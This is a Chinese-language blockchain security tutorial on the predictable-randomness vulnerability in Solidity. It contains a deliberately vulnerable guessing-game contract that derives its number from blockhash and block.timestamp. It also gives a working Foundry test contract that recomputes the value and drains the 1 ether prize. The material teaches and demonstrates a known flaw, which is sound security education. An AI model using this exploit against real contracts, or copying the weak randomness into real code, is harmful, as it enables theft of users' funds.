区块链安全常见的攻击分析——可预测随机数漏洞 (Predictable Randomness Vulnerability)【12】
区块链安全常见的攻击分析——可预测随机数漏洞 Predictable Randomness Vulnerability
- 1.1 漏洞分析
- 1.2 漏洞合约
- 1.3 攻击分析
- 1.4 攻击合约
- 1.5 在sepolia测试网复现Randomness随机数攻击
重点:区块链上的全局变量(如区块哈希、区块号、区块时间戳等)都是可预测的,若以它们为基础生成随机数,攻击者可以通过计算获取随机数的结果。
1.1 漏洞分析
- 只需要知道合约在部署的时候区块number和时间戳就可以求出这个随机数
1.2 漏洞合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
/*
名称: 可预测随机数漏洞 (Predictable Randomness Vulnerability)
描述:
使用区块哈希、区块号、区块时间戳等全局变量是不安全的,
因为矿工或攻击者可以操控这些变量。
场景:
GuessTheRandomNumber 是一个游戏,如果你能猜中伪随机数,你将赢得 1 Ether。
伪随机数是通过区块哈希和时间戳生成的。
乍一看,似乎不可能猜中正确的数字。
但我们来看一下如何轻松获胜。
1. Alice 部署 GuessTheRandomNumber 合约并存入 1 Ether
2. Eve 部署攻击合约 Attack
3. Eve 调用 Attack.attack() 并赢得 1 Ether
发生了什么?
攻击者通过简单地复制生成随机数的代码,计算出正确答案。
缓解措施:
不要使用 blockhash 和 block.timestamp 作为随机数的来源。
参考:
https://solidity-by-example.org/hacks/randomness/
*/
contract GuessTheRandomNumber {
constructor() payable {}
function guess(uint _guess) public {
uint answer = uint(
keccak256(
abi.encodePacked(blockhash(block.number - 1), block.timestamp)
)
);
console.log("GuessTheRandomNumber-guess()-answer:", answer);
if (_guess == answer) {
(bool sent, ) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
}
}
}
1.3 攻击分析
-
直接采用同样的代码获取即可
-
因为猜对后会返回发送的币,所以要注意需要加上receive()接收函数
1.4 攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "forge-std/Test.sol";
import "./Randomness.sol";
contract ContractTest is Test {
GuessTheRandomNumber GuessRandomContract;
address Koko;
address Aquarius;
function setUp() public {
Koko = vm.addr(1);
Aquarius = vm.addr(2);
vm.deal(address(Koko), 1 ether);
vm.deal(address(Aquarius), 1 ether);
vm.prank(Koko);
GuessRandomContract = new GuessTheRandomNumber{value: 1 ether}();
console.log("Randomness_Attack-setUp()");
}
function testRandomness() public {
uint guessAnswer = uint(
keccak256(
abi.encodePacked(blockhash(block.number - 1), block.timestamp)
)
);
console.log(" Test-testRandomness()-guessAnswer:", guessAnswer);
GuessRandomContract.guess(guessAnswer);
}
receive() external payable {}
}